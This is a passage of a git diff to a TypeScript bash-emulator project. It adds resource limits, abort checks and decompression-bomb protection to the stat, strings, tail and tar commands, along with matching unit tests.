       resultBuffer = db.export();
     }
 
diff --git a/packages/just-bash/src/commands/stat/stat.test.ts b/packages/just-bash/src/commands/stat/stat.test.ts
index 0675baa0..2d7d2844 100644
--- a/packages/just-bash/src/commands/stat/stat.test.ts
+++ b/packages/just-bash/src/commands/stat/stat.test.ts
@@ -77,6 +77,23 @@ describe("stat command", () => {
       const result = await env.exec('stat -c "%n: %s bytes" /test.txt');
       expect(result.stdout.trim()).toBe("/test.txt: 11 bytes");
     });
+
+    it("inserts replacement metacharacters in filenames literally", async () => {
+      const env = new Bash({ files: { "/$`": "x" } });
+      const result = await env.exec("stat -c '%n%n' '/$`'");
+      expect(result.stdout).toBe("/$`/$`\n");
+      expect(result.exitCode).toBe(0);
+    });
+
+    it("bounds custom-format output before returning it", async () => {
+      const env = new Bash({
+        files: { "/long-name": "x" },
+        executionLimits: { maxOutputSize: 12 },
+      });
+      const result = await env.exec("stat -c '%n%n' /long-name");
+      expect(result.exitCode).toBe(126);
+      expect(result.stderr).toContain("output size limit exceeded");
+    });
   });
 
   describe("multiple files", () => {
diff --git a/packages/just-bash/src/commands/stat/stat.ts b/packages/just-bash/src/commands/stat/stat.ts
index a3ed5cac..ed0f1bc7 100644
--- a/packages/just-bash/src/commands/stat/stat.ts
+++ b/packages/just-bash/src/commands/stat/stat.ts
@@ -1,4 +1,11 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import { utf8ByteLength } from "../../encoding.js";
+import { rethrowFatalExecutionError } from "../../fatal-execution-error.js";
+import { ExecutionLimitError } from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { parseArgs } from "../../utils/args.js";
 import { formatMode } from "../format-mode.js";
 import { hasHelpFlag, showHelp } from "../help.js";
@@ -17,10 +24,13 @@ const argDefs = {
   format: { short: "c", type: "string" as const },
 };
 
-export const statCommand: Command = {
+export const statCommand: RuntimeCommand = {
   name: "stat",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(statHelp);
     }
@@ -42,6 +52,22 @@ export const statCommand: Command = {
     let stdout = "";
     let stderr = "";
     let hasError = false;
+    let stdoutBytes = 0;
+    const maxOutputBytes = Math.min(
+      ctx.limits.maxOutputSize,
+      ctx.limits.maxStringLength,
+    );
+    const appendStdout = (value: string): void => {
+      const valueBytes = utf8ByteLength(value);
+      if (valueBytes > maxOutputBytes - stdoutBytes) {
+        throw new ExecutionLimitError(
+          `stat: output size limit exceeded (${maxOutputBytes} bytes)`,
+          "output_size",
+        );
+      }
+      stdout += value;
+      stdoutBytes += valueBytes;
+    };
 
     for (const file of files) {
       const fullPath = ctx.fs.resolvePath(ctx.cwd, file);
@@ -51,33 +77,34 @@ export const statCommand: Command = {
 
         if (format) {
           // Handle custom format
-          let output = format;
           const modeOctal = stat.mode.toString(8);
           const modeStr = formatMode(stat.mode, stat.isDirectory);
-          output = output.replace(/%n/g, file); // file name
-          output = output.replace(/%N/g, `'${file}'`); // quoted file name
-          output = output.replace(/%s/g, String(stat.size)); // size
-          output = output.replace(
-            /%F/g,
-            stat.isDirectory ? "directory" : "regular file",
-          ); // file type
-          output = output.replace(/%a/g, modeOctal); // access rights (octal)
-          output = output.replace(/%A/g, modeStr); // access rights (human readable)
-          output = output.replace(/%u/g, "1000"); // user ID
-          output = output.replace(/%U/g, "user"); // user name
-          output = output.replace(/%g/g, "1000"); // group ID
-          output = output.replace(/%G/g, "group"); // group name
-          stdout += `${output}\n`;
+          const replacements = new Map<string, string>([
+            ["%n", file],
+            ["%N", `'${file}'`],
+            ["%s", String(stat.size)],
+            ["%F", stat.isDirectory ? "directory" : "regular file"],
+            ["%a", modeOctal],
+            ["%A", modeStr],
+            ["%u", "1000"],
+            ["%U", "user"],
+            ["%g", "1000"],
+            ["%G", "group"],
+          ]);
+          const output = format.replace(/%[nNsFaAuUgG]/g, (directive) => {
+            return replacements.get(directive) ?? directive;
+          });
+          appendStdout(`${output}\n`);
         } else {
           // Default format
           const modeOctal = stat.mode.toString(8).padStart(4, "0");
           const modeStr = formatMode(stat.mode, stat.isDirectory);
-          stdout += `  File: ${file}\n`;
-          stdout += `  Size: ${stat.size}\t\tBlocks: ${Math.ceil(stat.size / 512)}\n`;
-          stdout += `Access: (${modeOctal}/${modeStr})\n`;
-          stdout += `Modify: ${stat.mtime.toISOString()}\n`;
+          appendStdout(
+            `  File: ${file}\n  Size: ${stat.size}\t\tBlocks: ${Math.ceil(stat.size / 512)}\nAccess: (${modeOctal}/${modeStr})\nModify: ${stat.mtime.toISOString()}\n`,
+          );
         }
-      } catch {
+      } catch (error) {
+        rethrowFatalExecutionError(error);
         stderr += `stat: cannot stat '${file}': No such file or directory\n`;
         hasError = true;
       }
diff --git a/packages/just-bash/src/commands/strings/strings.ts b/packages/just-bash/src/commands/strings/strings.ts
index f7c18601..0dcbcd4e 100644
--- a/packages/just-bash/src/commands/strings/strings.ts
+++ b/packages/just-bash/src/commands/strings/strings.ts
@@ -7,8 +7,15 @@
  * MIN characters long. If no FILE is specified, standard input is read.
  */
 
-import { latin1FromBytes } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+} from "../../interpreter/errors.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import { hasHelpFlag, showHelp, unknownOption } from "../help.js";
 
 const stringsHelp = {
@@ -73,44 +80,108 @@ function formatOffset(offset: number, format: OffsetFormat): string {
 function extractStrings(
   data: Uint8Array | string,
   options: StringsOptions,
+  budget: {
+    maxArrayElements: number;
+    maxIterations: number;
+    maxStringLength: number;
+    maxOutputSize: number;
+    iterations: number;
+    inputBytes: number;
+    resultCount: number;
+    outputBytes: number;
+  },
+  latin1String = false,
+  signal?: AbortSignal,
 ): string[] {
   const results: string[] = [];
-  let currentString = "";
+  let currentLength = 0;
   let stringStart = 0;
 
   // Convert string to bytes if needed
   const bytes =
-    typeof data === "string" ? new TextEncoder().encode(data) : data;
+    typeof data === "string" && !latin1String
+      ? new TextEncoder().encode(data)
+      : data;
+  if (bytes.length > budget.maxStringLength - budget.inputBytes) {
+    throw new ExecutionLimitError(
+      `strings: aggregate input size limit exceeded (${budget.maxStringLength} bytes)`,
+      "string_length",
+    );
+  }
+  budget.inputBytes += bytes.length;
+  const decoder = new TextDecoder();
+  const readRun = (start: number, end: number): string =>
+    typeof bytes === "string"
+      ? bytes.slice(start, end)
+      : decoder.decode(bytes.subarray(start, end));
+
+  const appendResult = (value: string): void => {
+    if (++budget.iterations > budget.maxIterations) {
+      throw new ExecutionLimitError(
+        `strings: iteration limit exceeded (${budget.maxIterations})`,
+        "iterations",
+      );
+    }
+    if (budget.resultCount >= budget.maxArrayElements) {
+      throw new ExecutionLimitError(
+        `strings: array element limit exceeded (${budget.maxArrayElements})`,
+        "array_elements",
+      );
+    }
+    const prospectiveBytes = value.length + 1;
+    if (prospectiveBytes > budget.maxOutputSize - budget.outputBytes) {
+      throw new ExecutionLimitError(
+        `strings: output size limit exceeded (${budget.maxOutputSize} bytes)`,
+        "output_size",
+      );
+    }
+    results.push(value);
+    budget.resultCount++;
+    budget.outputBytes += prospectiveBytes;
+  };
 
   for (let i = 0; i < bytes.length; i++) {
-    const byte = bytes[i];
+    if ((i & 4095) === 0 && signal?.aborted) {
+      throw new ExecutionAbortedError();
+    }
+    const byte =
+      typeof bytes === "string" ? bytes.charCodeAt(i) & 0xff : bytes[i];
 
     if (isPrintable(byte)) {
-      if (currentString.length === 0) {
+      if (currentLength === 0) {
         stringStart = i;
       }
-      currentString += String.fromCharCode(byte);
+      if (currentLength >= budget.maxStringLength) {
+        throw new ExecutionLimitError(
+          `strings: string length limit exceeded (${budget.maxStringLength} bytes)`,
+          "string_length",
+        );
+      }
+      currentLength++;
     } else {
-      if (currentString.length >= options.minLength) {
+      if (currentLength >= options.minLength) {
         const prefix = formatOffset(stringStart, options.offsetFormat);
-        results.push(`${prefix}${currentString}`);
+        appendResult(`${prefix}${readRun(stringStart, i)}`);
       }
-      currentString = "";
+      currentLength = 0;
     }
   }
 
   // Handle string at end of data
-  if (currentString.length >= options.minLength) {
+  if (currentLength >= options.minLength) {
     const prefix = formatOffset(stringStart, options.offsetFormat);
-    results.push(`${prefix}${currentString}`);
+    appendResult(`${prefix}${readRun(stringStart, bytes.length)}`);
   }
 
   return results;
 }
 
-export const strings: Command = {
+export const strings: RuntimeCommand = {
   name: "strings",
-  execute: async (args: string[], ctx: CommandContext): Promise<ExecResult> => {
+  execute: async (
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> => {
     if (hasHelpFlag(args)) {
       return showHelp(stringsHelp);
     }
@@ -223,22 +294,43 @@ export const strings: Command = {
     }
 
     let output = "";
+    const budget = {
+      maxArrayElements: ctx.limits.maxArrayElements,
+      maxIterations: ctx.limits.maxLoopIterations,
+      maxStringLength: Math.min(
+        ctx.limits.maxInputBytes,
+        ctx.limits.maxStringLength,
+      ),
+      maxOutputSize: Math.min(
+        ctx.limits.maxOutputSize,
+        ctx.limits.maxStringLength,
+      ),
+      iterations: 0,
+      inputBytes: 0,
+      resultCount: 0,
+      outputBytes: 0,
+    };
 
     // strings extracts ASCII-printable runs from a binary buffer — the
     // input must reach the byte loop as raw bytes, not as decoded text.
     // Pass latin1-shaped bytes directly so multibyte UTF-8 sequences in the
     // source aren't re-encoded by TextEncoder.
-    const stdinBytes = (): Uint8Array =>
-      Uint8Array.from(latin1FromBytes(ctx.stdin) ?? "", (c) => c.charCodeAt(0));
+    const stdinBytes = (): string => ctx.stdin as unknown as string;
 
     if (files.length === 0) {
       // Read from stdin
-      const strings = extractStrings(stdinBytes(), options);
+      const strings = extractStrings(
+        stdinBytes(),
+        options,
+        budget,
+        true,
+        ctx.signal,
+      );
       output = strings.length > 0 ? `${strings.join("\n")}\n` : "";
     } else {
       // Process each file
       for (const file of files) {
-        let buffer: Uint8Array;
+        let buffer: Uint8Array | string;
         if (file === "-") {
           buffer = stdinBytes();
         } else {
@@ -253,7 +345,13 @@ export const strings: Command = {
             };
           }
         }
-        const strings = extractStrings(buffer, options);
+        const strings = extractStrings(
+          buffer,
+          options,
+          budget,
+          typeof buffer === "string",
+          ctx.signal,
+        );
         if (strings.length > 0) {
           output += `${strings.join("\n")}\n`;
         }
diff --git a/packages/just-bash/src/commands/tac/tac.ts b/packages/just-bash/src/commands/tac/tac.ts
index 0483f1c5..1622f3fb 100644
--- a/packages/just-bash/src/commands/tac/tac.ts
+++ b/packages/just-bash/src/commands/tac/tac.ts
@@ -7,11 +7,15 @@
  */
 
 import { latin1FromBytes } from "../../encoding.js";
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 
 async function tacExecute(
   args: string[],
-  ctx: CommandContext,
+  ctx: RuntimeCommandContext,
 ): Promise<ExecResult> {
   if (args.length > 0 && args[0] !== "-") {
     // Try to read from file
@@ -53,7 +57,7 @@ async function tacExecute(
   };
 }
 
-export const tac: Command = {
+export const tac: RuntimeCommand = {
   name: "tac",
   execute: tacExecute,
 };
diff --git a/packages/just-bash/src/commands/tail/tail.test.ts b/packages/just-bash/src/commands/tail/tail.test.ts
index 34e13ebc..96f40ca4 100644
--- a/packages/just-bash/src/commands/tail/tail.test.ts
+++ b/packages/just-bash/src/commands/tail/tail.test.ts
@@ -135,7 +135,7 @@ describe("tail", () => {
         files: { "/test.txt": "line1\nline2\n" },
       });
       const result = await env.exec("tail -n +10 /test.txt");
-      expect(result.stdout).toBe("\n");
+      expect(result.stdout).toBe("");
       expect(result.exitCode).toBe(0);
     });
 
@@ -145,4 +145,16 @@ describe("tail", () => {
       expect(result.stdout).toBe("c\nd\ne\n");
     });
   });
+
+  it("preserves an unterminated final line exactly", async () => {
+    const env = new Bash({ files: { "/test.txt": "first\nlast" } });
+    const result = await env.exec("tail -n 1 /test.txt");
+    expect(result.stdout).toBe("last");
+  });
+
+  it("returns no bytes for -c 0", async () => {
+    const env = new Bash({ files: { "/test.txt": "content" } });
+    const result = await env.exec("tail -c 0 /test.txt");
+    expect(result.stdout).toBe("");
+  });
 });
diff --git a/packages/just-bash/src/commands/tail/tail.ts b/packages/just-bash/src/commands/tail/tail.ts
index 5782aee1..b95da727 100644
--- a/packages/just-bash/src/commands/tail/tail.ts
+++ b/packages/just-bash/src/commands/tail/tail.ts
@@ -1,4 +1,8 @@
-import type { Command, CommandContext, ExecResult } from "../../types.js";
+import type {
+  ExecResult,
+  RuntimeCommand,
+  RuntimeCommandContext,
+} from "../../types.js";
 import {
   getTail,
   parseHeadTailArgs,
@@ -20,10 +24,13 @@ const tailHelp = {
   ],
 };
 
-export const tailCommand: Command = {
+export const tailCommand: RuntimeCommand = {
   name: "tail",
 
-  async execute(args: string[], ctx: CommandContext): Promise<ExecResult> {
+  async execute(
+    args: string[],
+    ctx: RuntimeCommandContext,
+  ): Promise<ExecResult> {
     if (hasHelpFlag(args)) {
       return showHelp(tailHelp);
     }
diff --git a/packages/just-bash/src/commands/tar/archive.ts b/packages/just-bash/src/commands/tar/archive.ts
index ab73efc0..8897a08c 100644
--- a/packages/just-bash/src/commands/tar/archive.ts
+++ b/packages/just-bash/src/commands/tar/archive.ts
@@ -16,7 +16,13 @@ import {
 } from "modern-tar";
 // @ts-expect-error - seek-bzip doesn't have types
 import seekBzip from "seek-bzip";
+import { utf8ByteLength } from "../../encoding.js";
+import type {
+  CommandExecutionBudget,
+  ResourceLease,
+} from "../../execution-scope.js";
 import { DefenseInDepthBox } from "../../security/defense-in-depth-box.js";
+import { CodecBudget } from "../compression/codec-budget.js";
 import { bzip2Compress } from "./bzip2-compress.js";
 
 // Lazy load node-liblzma since it requires native compilation
@@ -66,12 +72,191 @@ async function getZstd(): Promise<typeof import("@mongodb-js/zstd")> {
 // Re-export types from modern-tar
 export type { TarEntry, TarHeader, ParsedTarEntryWithData };
 
-// Maximum archive size to prevent runaway compute (100MB)
-const MAX_ARCHIVE_SIZE: number = 100 * 1024 * 1024;
+// Liberal standalone defaults. The tar command supplies its resolved profile.
+const MAX_ARCHIVE_SIZE: number = 1024 * 1024 * 1024;
 // Tar archives are 512-byte block aligned
 const TAR_BLOCK_SIZE = 512;
 // Maximum number of entries to prevent runaway compute
-const MAX_ENTRIES: number = 10000;
+const MAX_ENTRIES: number = 1_000_000;
+
+export interface ArchiveCreationLimits {
+  maxArchiveSize?: number;
+  maxEntries?: number;
+  maxEntrySize?: number;
+  maxCompressedSize?: number;
+  maxExpansionRatio?: number;
+  signal?: AbortSignal;
+  /** Shared live-memory owner supplied by the tar command integration. */
+  executionScope?: CommandExecutionBudget;
+  /** Set false to disable native whole-buffer codecs. */
+  allowTrustedWholeBufferCodecs?: boolean;
+}
+
+type ResolvedArchiveLimits = {
+  maxArchiveSize: number;
+  maxEntries: number;
+  maxEntrySize: number;
+  maxCompressedSize: number;
+  maxExpansionRatio: number;
+  signal?: AbortSignal;
+  executionScope?: CommandExecutionBudget;
+  allowTrustedWholeBufferCodecs: boolean;
+};
+
+function positiveLimit(value: number | undefined, fallback: number): number {
+  const resolved = value ?? fallback;
+  if (!Number.isSafeInteger(resolved) || resolved <= 0) {
+    throw new Error("Archive limits must be positive safe integers");
+  }
+  return resolved;
+}
+
+function resolveCreationLimits(
+  options?: ArchiveCreationLimits,
+): ResolvedArchiveLimits {
+  return {
+    maxArchiveSize: positiveLimit(options?.maxArchiveSize, MAX_ARCHIVE_SIZE),
+    maxEntries: positiveLimit(options?.maxEntries, MAX_ENTRIES),
+    maxEntrySize: positiveLimit(options?.maxEntrySize, MAX_ARCHIVE_SIZE),
+    maxCompressedSize: positiveLimit(
+      options?.maxCompressedSize,
+      options?.maxArchiveSize ?? MAX_ARCHIVE_SIZE,
+    ),
+    // 10,000:1 permits highly repetitive real archives while bounding codecs
+    // independently of their aggregate output ceiling.
+    maxExpansionRatio: positiveLimit(options?.maxExpansionRatio, 10_000),
+    signal: options?.signal,
+    executionScope: options?.executionScope,
+    allowTrustedWholeBufferCodecs:
+      options?.allowTrustedWholeBufferCodecs ?? true,
+  };
+}
+
+function validateCreationBudget(
+  entries: TarCreateEntry[],
+  limits: ReturnType<typeof resolveCreationLimits>,
+): number {
+  if (entries.length > limits.maxEntries) {
+    throw new Error(`Too many archive entries (max ${limits.maxEntries})`);
+  }
+
+  const addEstimated = (bytes: number): void => {
+    if (
+      !Number.isSafeInteger(bytes) ||
+      bytes < 0 ||
+      bytes > limits.maxArchiveSize - estimatedSize
+    ) {
+      throw new Error(`Archive too large (max ${limits.maxArchiveSize} bytes)`);
+    }
+    estimatedSize += bytes;
+  };
+
+  // Account for the regular header, padded body, and prospective PAX metadata
+  // before modern-tar receives the entry graph. Long UTF-8 names/link targets
+  // produce a PAX header plus a variable-size record; a fixed extra block alone
+  // does not bound attacker-controlled metadata.
+  let estimatedSize = TAR_BLOCK_SIZE * 2;
+  for (const entry of entries) {
+    limits.signal?.throwIfAborted();
+    const contentSize =
+      entry.isDirectory || entry.isSymlink
+        ? 0
+        : typeof entry.content === "string"
+          ? utf8ByteLength(entry.content)
+          : (entry.content?.length ?? 0);
+    if (contentSize > limits.maxEntrySize) {
+      throw new Error(
+        `Archive entry too large (max ${limits.maxEntrySize} bytes)`,
+      );
+    }
+    const normalizedName =
+      entry.isDirectory && !entry.name.endsWith("/")
+        ? `${entry.name}/`
+        : entry.name;
+    const nameBytes = utf8ByteLength(normalizedName);
+    const linkBytes = utf8ByteLength(entry.linkTarget ?? "");
+    if (
+      nameBytes > limits.maxArchiveSize ||
+      linkBytes > limits.maxArchiveSize
+    ) {
+      throw new Error(`Archive too large (max ${limits.maxArchiveSize} bytes)`);
+    }
+
+    let paxPayloadBytes = 0;
+    if (nameBytes > 100) paxPayloadBytes += nameBytes + 64;
+    if (linkBytes > 100) paxPayloadBytes += linkBytes + 64;
+    if (!Number.isSafeInteger(paxPayloadBytes)) {
+      throw new Error(`Archive too large (max ${limits.maxArchiveSize} bytes)`);
+    }
+    const paddedContentSize =
+      Math.ceil(contentSize / TAR_BLOCK_SIZE) * TAR_BLOCK_SIZE;
+    addEstimated(TAR_BLOCK_SIZE + paddedContentSize);
+    if (paxPayloadBytes > 0) {
+      const paddedPaxSize =
+        Math.ceil(paxPayloadBytes / TAR_BLOCK_SIZE) * TAR_BLOCK_SIZE;
+      // One header for the PAX extended record plus its padded payload.
+      addEstimated(TAR_BLOCK_SIZE + paddedPaxSize);
+    }
+  }
+  return estimatedSize;
+}
+
+function reserveArchiveBytes(
+  limits: ResolvedArchiveLimits,
+  kind: string,
+  bytes: number,
+): ResourceLease | undefined {
+  return limits.executionScope?.reserveBytes(kind, bytes, `tar: ${kind}`);
+}
+
+function readTarSize(block: Uint8Array): number | undefined {
+  const field = block.subarray(124, 136);
+  // POSIX base-256 extension used for values that do not fit the octal field.
+  if ((field[0] & 0x80) !== 0) {
+    let size = field[0] & 0x7f;
+    for (let index = 1; index < field.length; index++) {
+      size = size * 256 + field[index];
+      if (!Number.isSafeInteger(size)) return undefined;
+    }
+    return size;
+  }
+  const text = new TextDecoder("ascii")
+    .decode(field)
+    .replace(/\0.*$/, "")
+    .trim();
+  if (text === "") return 0;
+  if (!/^[0-7]+$/.test(text)) return undefined;
+  const size = Number.parseInt(text, 8);
+  return Number.isSafeInteger(size) ? size : undefined;
+}
+
+/** Validate entry budgets before modern-tar creates its entry object graph. */
+function validateTarStructureBudget(
+  data: Uint8Array,
+  limits: ResolvedArchiveLimits,
+): string | undefined {
+  let offset = 0;
+  let entries = 0;
+  while (offset + TAR_BLOCK_SIZE <= data.length) {
+    limits.signal?.throwIfAborted();
+    const header = data.subarray(offset, offset + TAR_BLOCK_SIZE);
+    if (header.every((byte) => byte === 0)) return undefined;
+    entries++;
+    if (entries > limits.maxEntries) {
+      return `Too many entries (max ${limits.maxEntries})`;
+    }
+    const size = readTarSize(header);
+    if (size === undefined) return "Invalid tar archive format";
+    if (size > limits.maxEntrySize) {
+      return `Archive entry too large (max ${limits.maxEntrySize} bytes)`;
+    }
+    const paddedSize = Math.ceil(size / TAR_BLOCK_SIZE) * TAR_BLOCK_SIZE;
+    if (!Number.isSafeInteger(paddedSize)) return "Invalid tar archive format";
+    offset += TAR_BLOCK_SIZE + paddedSize;
+    if (offset > data.length) return "Invalid tar archive format";
+  }
+  return offset === data.length ? undefined : "Invalid tar archive format";
+}
 
 /**
  * Entry for creating a tar archive
@@ -139,9 +324,26 @@ function toModernTarEntry(entry: TarCreateEntry): TarEntry {
  */
 export async function createArchive(
   entries: TarCreateEntry[],
+  options?: ArchiveCreationLimits,
 ): Promise<Uint8Array> {
-  const modernEntries = entries.map(toModernTarEntry);
-  return packTar(modernEntries);
+  const limits = resolveCreationLimits(options);
+  const estimatedBytes = validateCreationBudget(entries, limits);
+  const lease = reserveArchiveBytes(
+    limits,
+    "archive construction",
+    estimatedBytes,
+  );
+  try {
+    const modernEntries = entries.map(toModernTarEntry);
+    const archive = await packTar(modernEntries);
+    limits.signal?.throwIfAborted();
+    if (archive.length > limits.maxArchiveSize) {
+      throw new Error(`Archive too large (max ${limits.maxArchiveSize} bytes)`);
+    }
+    return archive;
+  } finally {
+    lease?.release();
+  }
 }
 
 /**
@@ -149,8 +351,22 @@ export async function createArchive(
  */
 export async function createCompressedArchive(
   entries: TarCreateEntry[],
+  options?: ArchiveCreationLimits,
 ): Promise<Uint8Array> {
-  const tarBuffer = await createArchive(entries);
+  const limits = resolveCreationLimits(options);
+  const tarBuffer = await createArchive(entries, limits);
+  const inputLease = reserveArchiveBytes(
+    limits,
+    "gzip input",
+    tarBuffer.byteLength,
+  );
+  const budget = new CodecBudget({
+    maxInputBytes: limits.maxArchiveSize,
+    maxOutputBytes: limits.maxCompressedSize,
+    signal: limits.signal,
+    label: "gzip archive",
+  });
+  budget.acceptInput(tarBuffer.length);
 
   // Use modern-tar's gzip encoder via Web Streams
   const stream = new ReadableStream({
@@ -163,23 +379,47 @@ export async function createCompressedArchive(
   const compressedStream = stream.pipeThrough(createGzipEncoder());
   const reader = compressedStream.getReader();
   const chunks: Uint8Array[] = [];
+  const chunkLeases: ResourceLease[] = [];
+  let totalLength = 0;
 
-  while (true) {
-    const { done, value } = await reader.read();
-    if (done) break;
-    chunks.push(value);
-  }
+  try {
+    while (true) {
+      const { done, value } = await reader.read();
+      if (done) break;
+      try {
+        budget.acceptOutput(value.length);
+        const chunkLease = reserveArchiveBytes(
+          limits,
+          "gzip chunks",
+          value.byteLength,
+        );
+        if (chunkLease) chunkLeases.push(chunkLease);
+      } catch (error) {
+        await reader.cancel();
+        throw error;
+      }
+      totalLength += value.length;
+      chunks.push(value);
+    }
 
-  // Combine chunks
-  const totalLength = chunks.reduce((sum, chunk) => sum + chunk.length, 0);
-  const result = new Uint8Array(totalLength);
-  let offset = 0;
-  for (const chunk of chunks) {
-    result.set(chunk, offset);
-    offset += chunk.length;
-  }
+    // Combining temporarily retains both the stream chunks and output array.
+    const resultLease = reserveArchiveBytes(limits, "gzip result", totalLength);
+    try {
+      const result = new Uint8Array(totalLength);
+      let offset = 0;
+      for (const chunk of chunks) {
+        result.set(chunk, offset);
+        offset += chunk.length;
+      }
 
-  return result;
+      return result;
+    } finally {
+      resultLease?.release();
+    }
+  } finally {
+    for (const lease of chunkLeases) lease.release();
+    inputLease?.release();
+  }
 }
 
 /**
@@ -202,11 +442,13 @@ export interface ParsedEntry {
  */
 export async function parseArchive(
   data: Uint8Array,
+  options?: ArchiveCreationLimits,
 ): Promise<{ entries: ParsedEntry[]; error?: string }> {
-  if (data.length > MAX_ARCHIVE_SIZE) {
+  const limits = resolveCreationLimits(options);
+  if (data.length > limits.maxArchiveSize) {
     return {
       entries: [],
-      error: `Archive too large (max ${MAX_ARCHIVE_SIZE} bytes)`,
+      error: `Archive too large (max ${limits.maxArchiveSize} bytes)`,
     };
   }
 
@@ -219,13 +461,30 @@ export async function parseArchive(
     };
   }
 
+  const structureError = validateTarStructureBudget(data, limits);
+  if (structureError) return { entries: [], error: structureError };
+
   try {
     const modernEntries = await unpackTar(data);
     const entries: ParsedEntry[] = [];
 
     for (const entry of modernEntries) {
-      if (entries.length >= MAX_ENTRIES) {
-        return { entries, error: `Too many entries (max ${MAX_ENTRIES})` };
+      limits.signal?.throwIfAborted();
+      if (entries.length >= limits.maxEntries) {
+        return {
+          entries: [],
+          error: `Too many entries (max ${limits.maxEntries})`,
+        };
+      }
+      const content = entry.data ?? new Uint8Array(0);
+      if (
+        entry.header.size > limits.maxEntrySize ||
+        content.length > limits.maxEntrySize
+      ) {
+        return {
+          entries: [],
+          error: `Archive entry too large (max ${limits.maxEntrySize} bytes)`,
+        };
       }
 
       let type: ParsedEntry["type"] = "file";
@@ -255,7 +514,7 @@ export async function parseArchive(
         mtime: entry.header.mtime ?? new Date(),
         type,
         linkTarget: entry.header.linkname || undefined,
-        content: entry.data ?? new Uint8Array(0),
+        content,
       });
     }
 
@@ -271,15 +530,25 @@ export async function parseArchive(
  */
 export async function parseCompressedArchive(
   data: Uint8Array,
+  options?: ArchiveCreationLimits,
 ): Promise<{ entries: ParsedEntry[]; error?: string }> {
-  if (data.length > MAX_ARCHIVE_SIZE) {
+  const limits = resolveCreationLimits(options);
+  if (data.length > limits.maxCompressedSize) {
     return {
       entries: [],
-      error: `Archive too large (max ${MAX_ARCHIVE_SIZE} bytes)`,
+      error: `Archive too large (max ${limits.maxCompressedSize} bytes)`,
     };
   }
 
   try {
+    const budget = new CodecBudget({
+      maxInputBytes: limits.maxCompressedSize,
+      maxOutputBytes: limits.maxArchiveSize,
+      maxExpansionRatio: limits.maxExpansionRatio,
+      signal: limits.signal,
+      label: "gzip archive",
+    });
+    budget.acceptInput(data.length);
     // Use modern-tar's gzip decoder via Web Streams
     const stream = new ReadableStream({
       start(controller) {
@@ -296,14 +565,13 @@ export async function parseCompressedArchive(
     while (true) {
       const { done, value } = await reader.read();
       if (done) break;
-      totalLength += value.length;
-      if (totalLength > MAX_ARCHIVE_SIZE) {
+      try {
+        budget.acceptOutput(value.length);
+      } catch (error) {
         await reader.cancel();
-        return {
-          entries: [],
-          error: `Decompressed archive too large (max ${MAX_ARCHIVE_SIZE} bytes)`,
-        };
+        throw error;
       }
+      totalLength += value.length;
       chunks.push(value);
     }
 
@@ -315,7 +583,7 @@ export async function parseCompressedArchive(
       offset += chunk.length;
     }
 
-    return parseArchive(tarBuffer);
+    return parseArchive(tarBuffer, limits);
   } catch (e) {
     const msg = e instanceof Error ? e.message : "Unknown error";
     return { entries: [], error: `Decompression failed: ${msg}` };
@@ -356,16 +624,70 @@ export function isXzCompressed(data: Uint8Array): boolean {
 /**
  * bzip2 decompression using seek-bzip (MIT licensed)
  */
-async function decompressBzip2(data: Uint8Array): Promise<Uint8Array> {
-  const decompressed: Buffer = seekBzip.decode(Buffer.from(data));
-  return new Uint8Array(decompressed);
+async function decompressBzip2(
+  data: Uint8Array,
+  limits: ResolvedArchiveLimits,
+): Promise<Uint8Array> {
+  // seek-bzip's default output path repeatedly doubles one Buffer and only
+  // returns after the whole stream is decoded. Supplying an output stream lets
+  // us reject a compression bomb before allocating beyond the archive limit.
+  const budget = new CodecBudget({
+    maxInputBytes: limits.maxCompressedSize,
+    maxOutputBytes: limits.maxArchiveSize,
+    maxExpansionRatio: limits.maxExpansionRatio,
+    signal: limits.signal,
+    label: "bzip2 archive",
+  });
+  budget.acceptInput(data.length);
+  const chunkSize = Math.min(64 * 1024, limits.maxArchiveSize);
+  const chunks: Buffer[] = [];
+  let current = Buffer.allocUnsafe(chunkSize);
+  let currentLength = 0;
+  let totalLength = 0;
+
+  const output = {
+    writeByte(byte: number): void {
+      budget.acceptOutput(1);
+      if (currentLength === current.length) {
+        chunks.push(current);
+        current = Buffer.allocUnsafe(chunkSize);
+        currentLength = 0;
+      }
+      current[currentLength++] = byte;
+      totalLength++;
+    },
+  };
+
+  seekBzip.decode(Buffer.from(data), output);
+  if (currentLength > 0) {
+    chunks.push(current.subarray(0, currentLength));
+  }
+
+  return new Uint8Array(Buffer.concat(chunks, totalLength));
 }
 
 /**
  * bzip2 compression using our pure-JS implementation
  */
-async function compressBzip2(data: Uint8Array): Promise<Uint8Array> {
-  return bzip2Compress(data, 9);
+async function compressBzip2(
+  data: Uint8Array,
+  limits: ResolvedArchiveLimits,
+): Promise<Uint8Array> {
+  const budget = new CodecBudget({
+    maxInputBytes: limits.maxArchiveSize,
+    maxOutputBytes: limits.maxCompressedSize,
+    signal: limits.signal,
+    label: "bzip2 archive",
+  });
+  budget.acceptInput(data.length);
+  const result = await bzip2Compress(
+    data,
+    9,
+    limits.maxArchiveSize,
+    limits.maxCompressedSize,
+  );
+  budget.acceptOutput(result.length);
+  return result;
 }
 
 /**
@@ -391,9 +713,11 @@ async function compressXz(data: Uint8Array): Promise<Uint8Array> {
  */
 export async function createBzip2CompressedArchive(
   entries: TarCreateEntry[],
+  options?: ArchiveCreationLimits,
 ): Promise<Uint8Array> {
-  const tarBuffer = await createArchive(entries);
-  return compressBzip2(tarBuffer);
+  const limits = resolveCreationLimits(options);
+  const tarBuffer = await createArchive(entries, limits);
+  return compressBzip2(tarBuffer, limits);
 }
 
 /**
@@ -401,21 +725,31 @@ export async function createBzip2CompressedArchive(
  *
  * @param entries - Archive entries to include
  * @param options - Options controlling compression behavior
- * @param options.allowNativeCodecs - When false (default), rejects xz compression
